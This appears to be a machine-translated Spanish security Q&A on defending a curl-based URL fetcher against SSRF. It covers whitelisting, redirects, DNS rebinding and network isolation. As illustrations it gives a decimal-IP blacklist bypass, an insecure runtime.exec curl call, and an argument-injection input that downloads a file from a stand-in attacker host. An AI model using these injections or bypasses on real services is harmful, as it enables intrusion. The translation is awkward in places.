¿Se puede hacer que una solicitud de curvatura a una URL arbitraria sea lo suficientemente segura?

SSRF solo se puede mitigar con una lista blanca de hosts o URL (que se actualiza con regularidad) que se sabe que son seguras, es decir, que no tienen ningún efecto secundario que dependa de la IP de origen y donde el acceso a una URL no provocar un informe de abuso, una serie de leyes o algo similar contra su sitio (por ejemplo, porque alguien intenta encontrar páginas ocultas en un sitio o hacer amenazas de bomba).

Una lista negra ayudará, pero no es suficiente.

Para agregar a lo que dijo Steffen, y proporcionar algunos ejemplos, desea hacer una lista blanca si es posible. La lista negra, al igual que lo que está proponiendo, se puede omitir.

Por ejemplo:

http://2915201827/ : este es un sitio web válido. ¿Sabes qué sitio web es?

Además, la herramienta como se describe es un proxy. Sin la regulación, alguien podría usar esta herramienta para realizar ataques contra otra aplicación y su sitio sería el que está a la vista de la policía. Los tribunales de EE. UU. No han sido muy amables con la excusa de "pero era wifi abierto, cualquiera podría haberlo hecho", por lo que hay un precedente para ello.

Debe ser muy cuidadoso con la forma en que invoca a CURL, e idealmente, use una biblioteca en lugar de la herramienta de línea de comandos. Por ejemplo:

runtime.exec("curl " + url);

en Java no permitiría que un usuario ingrese esto: ; ls blah/ , pero permitiría que un usuario ingrese esto:

-O /tmp/asdf http://attacker.example.com/hahaipwn.txt .

Palabras finales:

Hay mucho que considerar con este servicio.

  

si cURL está configurado para seguir las redirecciones, la redirección debe ser   validado de la misma manera que la IP original, ya que forjar una redirección es   trivial

Sí. Sería mejor que no obtuviera curl para seguir las redirecciones y en su lugar verifique manualmente el encabezado Location cuando se encuentre una redirección.

  

IPv6: Todo para el bonito y antiguo espacio de direcciones IPv4 se debe rehacer   allí también, ¿verdad?

Sí, si está soportando IPv6.

  

¿Hay algunos puertos para filtrar por? Recuerde que los esquemas están restringidos a   http (s) y ftp. Esto puede ser técnicamente un escáner de puertos pero no   malicioso necesario pero obtener un sitio web desde el puerto 675 podría estar bien.   Impedir las direcciones URL remotas DoS: implementar algún tipo de token (token CSRF)   igualmente), introducir tiempos de espera entre solicitudes múltiples, digamos 1 segundo o   Prohibir los IPs que siguen golpeando. (Por supuesto, no resuelve DDoS, pero   la prevención de DDoS es probablemente fuera del alcance aquí)

Depende de la funcionalidad que intenta admitir. Podrías detectar múltiples intentos, ya sea desde la misma IP o la misma IP y la velocidad los limita, posiblemente mostrándoles un CAPTCHA después de un tiempo.

  

Una última cosa que no puedo entender completamente:

     

¿Qué pasa con DNS? ¿Es posible registrar una entrada de DNS para apuntar a   ¿Redes locales o privadas?

Sí. Es perfectamente posible apuntar un registro A a una dirección privada. Además, es posible apuntar un dominio no relacionado a una dirección privada y luego apuntar un CNAME a ese dominio, lo que hace que, en efecto, se resuelva a la dirección privada.

  

Técnicamente, en mi máquina puedo realizar un GET de enlace y obtener   mi enrutador Ahora, ¿cómo puede alguien mitigar ese riesgo?

Debe aislar la máquina que atiende las solicitudes a su propia subred. Esto solo tendría acceso a una puerta de enlace de Internet que está configurada para solo enrutar el tráfico hacia la Internet pública.

  

¿Está realizando una nslookup una solución? Si obtengo una IP, valide la IP.   Si no, puede ser cualquier cosa, negarlo. Sigo olvidando lo que hace mi NAS   para poder acceder a él a través del nombre de host en mi red local, pero al ser   Paranoico es probablemente una buena manera aquí.

Sí, siempre y cuando le digas explícitamente a curl que siga esa IP.

Necesitas que la búsqueda y la solicitud de curvatura estén unificadas. De lo contrario, un atacante podría establecer un TTL (Time To Live) muy bajo y actualizar el registro DNS antes de que se ejecute el rizo para recuperarlo. De lo contrario, también tendría problemas con el almacenamiento en caché de las entradas.

Por ejemplo, el parámetro --resolve curl le permite especificar el nombre de host y el puerto por separado para que pueda conectarse a la IP validada y resuelta anteriormente, pero hacer que curl funcione como usted le dijo el nombre de host completo. Desde la página del manual:

  

--resolver                 Proporcione una dirección personalizada para un host específico y un par de puertos. Usando esto, puede hacer que las solicitudes de curvatura usen un   abordar y prevenir el                 De lo contrario normalmente se resolverá la dirección a utilizar. Considérelo como una alternativa a / etc / hosts provista en el comando   línea. El número de puerto debe                 es el número utilizado para el protocolo específico para el que se utilizará el host. Significa que necesitas varias entradas si quieres   proporcionar dirección para el                 mismo host pero diferentes puertos.

     

Esta opción se puede usar muchas veces para agregar muchos nombres de host para resolver.

     

(Agregado en 7.21.3)

por ejemplo curl --resolve www.example.com:443:203.0.113.24 https://www.example.com/

Por supuesto, todo lo anterior no impide que los informes de abuso se presenten en su contra de los hosts de destino. Por ejemplo, siempre existe el riesgo de que alguien use su servicio como un proxy para explotar otro servidor (por ejemplo, a través de una inyección SQL). Aunque no es infalible, debe crear y conservar registros de auditoría completos para el uso de su servicio.